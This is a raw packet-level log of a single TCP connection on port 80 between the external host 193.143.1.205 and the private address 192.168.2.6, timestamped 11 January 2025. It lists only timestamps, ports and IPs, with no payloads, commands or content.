Jan 11, 2025 01:34:55.169599056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.169599056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.169620991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.169627905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.169641018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.169658899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.169662952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.169693947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.170598984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.170613050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.170634985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.170645952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.170653105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.170670033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.170681953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.170685053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.170707941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.170732975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.171508074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.171523094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.171545029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.171555996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.171576023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.171588898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.171617031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.171629906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.171629906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.171629906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.171653032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.172365904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.172393084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.172437906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.188780069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188815117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188838005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188848972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188872099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188882113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188903093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188916922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188932896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188950062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.188960075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.188971043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.189141989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.220098019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.220124960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.220145941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.220169067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.220283031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.220365047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.250828028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250852108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250875950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250885963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250904083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250912905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250929117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250942945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250958920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250967979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250986099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.250994921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.251013994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.251024008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.251035929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.251044989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.251054049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.251066923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.251096964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.251166105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.261940002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.266766071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.281627893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281686068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.281804085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281816006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281837940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281848907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281863928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.281868935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281888008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281897068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.281899929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281920910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281927109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.281945944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281960011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.281970024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.281987906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282001972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282027006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282030106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282036066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282042027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282063007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282079935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282103062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282140017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282192945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282203913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282226086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282236099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282244921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282259941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282272100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282272100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282309055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282464981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282476902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282496929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282506943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282510996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282527924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282592058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282654047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282690048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282696962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282701969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282728910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282742023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282785892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282797098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282816887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282826900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282826900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282856941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282857895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282869101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282896996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282898903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282915115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282931089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282938957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.282948017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282964945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.282967091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283016920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283289909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283302069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283324003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283351898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283358097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283364058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283385038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283391953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283400059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283432007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283580065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283591032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283610106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283632040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283659935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283669949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283674002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283701897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283710957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283714056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283735037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283746004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283752918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283767939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283777952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.283793926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.283827066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286580086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286604881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286617994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286637068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286658049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286681890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286683083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286706924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286720991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286736012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286748886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286756992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286777020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286783934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286798954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286813021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286834955 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286843061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286854029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286863089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286874056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286885977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286895037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286909103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286921024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286926031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286942005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286951065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.286956072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.286993027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.287307024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287348032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287359953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287394047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.287467957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287491083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287503958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287508965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287511110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.287518024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287537098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287549019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287558079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.287581921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287594080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287607908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287607908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.287632942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287642956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.287652969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.287679911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.345158100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345293045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345304012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345335007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345357895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345366955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345379114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.345396042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345407009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345415115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.345428944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345438004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345449924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.345458031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345468998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345480919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.345487118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345498085 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.345499992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345520973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345529079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.345540047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.345562935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.346147060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.346158028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.346183062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.346194983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.346194983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.346220970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.346230984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.346235037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.346252918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.346262932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.346266985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.346287966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.349601030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.369673014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369702101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369725943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369735956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369755030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369767904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369806051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369824886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369834900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369848013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.369862080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369875908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369889021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.369889021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.369895935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369900942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.369911909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369941950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369949102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.369949102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369957924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369975090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.369985104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.369993925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370004892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370014906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370033979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370048046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370055914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370065928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370069027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370085001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370096922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370105028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370115995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370131969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370141983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370153904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370162964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370170116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370182991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370191097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370201111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370207071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370212078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370213032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370234966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370245934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370246887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370264053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370268106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370291948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370301962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370301962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370321035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370331049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370335102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370352983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370363951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370381117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370379925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370399952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370412111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370425940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370435953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370436907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370455027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370470047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370476007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370491028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370505095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370510101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370524883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370534897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370537996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370554924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370564938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370583057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370639086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370639086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370654106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370665073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370683908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370695114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370719910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370719910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:34:55.370731115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:34:55.370747089 CET	80	49709	193.143.1.205	192.168.2.6
